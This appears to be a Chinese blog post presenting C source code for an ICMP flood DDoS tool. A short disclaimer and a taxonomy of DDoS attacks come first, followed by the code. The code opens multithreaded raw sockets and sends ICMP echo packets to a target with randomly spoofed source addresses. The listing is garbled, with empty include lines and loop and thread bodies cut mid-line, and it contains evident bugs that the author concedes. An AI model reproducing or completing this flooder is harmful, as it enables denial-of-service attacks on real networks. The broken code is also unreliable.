ddos之icmp洪泛攻擊源代碼

聲明:

         該內容旨在分析網絡攻擊的存在形式,並不是爲了鼓勵大家使用文中的方式去攻擊別人的計算機和網絡。技術是爲了造福人類的不是爲了以破壞別人電腦謀取利益爲出發點做違法的事情的。網絡安全和文明是大家應該共同承擔和維護的。

         參考論文《高速複雜網絡環境下異常流量檢測技術研究》(解放軍信息工程大學)

         DDOS是指採用分佈、協議的大規模Dos攻擊方式,聯合或控制網絡上能夠發動攻擊的若干主機同時發動攻擊,製造數以百計的數據流量流入欲攻擊的目標,消耗網絡帶寬或者系統資源,導致目標主機服務請求極度擁塞無法提供正常的網絡服務。

DDos攻擊類型如下圖所示:

DDoS攻擊

洪泛攻擊

應用服務

畸形包

普通洪泛

鏈接擁塞

計算資源

存儲資源

IP碎片攻擊

SYN洪泛

ICMP洪泛

低率TCP

優化ACL

CC攻擊

Email攻擊

        

         ICMP洪水攻擊:該攻擊收發是最簡單、直接的方法,該方法執行就是建立多個線程向同一主機發送ICMP請求,但是本地的IP地址爲僞裝地址,程序僅僅發送響應不接受響應,容易造成目標主機的宕機。

         ICMPFlood在Ping的基礎上形成。而ICMP洪水攻擊又存在三種方式:直接洪水攻擊,僞裝IP攻擊以及反射攻擊(不直接攻擊主機而是讓其他主機誤認爲目標主機在發送ICMP請求包)。

反射攻擊模型如下圖:

        

代碼如下(該部分代碼有部分還需要調試,請不要用於非法目的)

#include
#include
#include
#include
#include
//#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX 128
//static in_addr_t dest;
static unsigned long dest;
static int sockfd;
void dos_sig();
void dos_fun();
void dos_icmp();
unsigned long myrandom(int,int);
static int alive=-1;
int main(int argc,char **argv)
{
	struct hostent *host=NULL;
	struct protoent *protocol=NULL;
	char protoname[]="icmp";
	int i;
	pthread_t pthread[MAX];
	int err=-1;
	int sockfd;
	if(argc<2)
	{
		printf("Usage:\n");
		return -1;
	}
	protocol=getprotobyname(protoname);
	if(protocol==NULL)
	{
		perror("getprotobyname()");
		return -1;
	}
	dest=inet_addr(argv[1]);
	if(dest==INADDR_NONE)
	{
		host=gethostbyname(argv[1]);
		if(host==NULL)
		{
			perror("gethostbyname()");
			return -1;
		}
		memcpy((char*)dest,host->h_addr,host->h_length);
	}
	sockfd=socket(AF_INET,SOCK_RAW,0);
	if(sockfd<0)
		sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
	setsockopt(sockfd,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
	for(i=0;iip_v=4;
	pip->ip_hl=5;
	pip->ip_tos=0;
	pip->ip_len=htons(paklen);
	pip->ip_id=htons(getpid());
	pip->ip_off=0;
	pip->ip_ttl=0x0;
	pip->ip_p=IPPROTO_ICMP;
	pip->ip_sum=0;
	mydest=myrandom(0,65535);
	
	paddr1=(struct in_addr*)&mydest;
	pip->ip_src=*paddr1;
	
	paddr2=(struct in_addr*)&dest;
	pip->ip_dst=*paddr2;
	
	picmp->icmp_type=IPPORT_ECHO;
	picmp->icmp_code=0;
	picmp->icmp_cksum=htons(~(IPPORT_ECHO<<8));
	
	addr.sin_family=AF_INET;
	addr.sin_addr=pip->ip_dst;
	addr.sin_port=htons(0);
	
	sendto(sockfd,packet,paklen,0,(struct sockaddr*)&addr,sizeof(struct sockaddr));
	printf("攻擊IP:%s\n",inet_ntoa(addr.sin_addr));
	printf("源IP:%s\n",inet_ntoa(pip->ip_src));
	free(packet);
}
unsigned long myrandom(int begin,int end)
{
	int betw=end-begin+1;
	int ret=0;
	srand((unsigned)time(0));
	ret=random()%betw+begin;
	return ret;
	
}


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章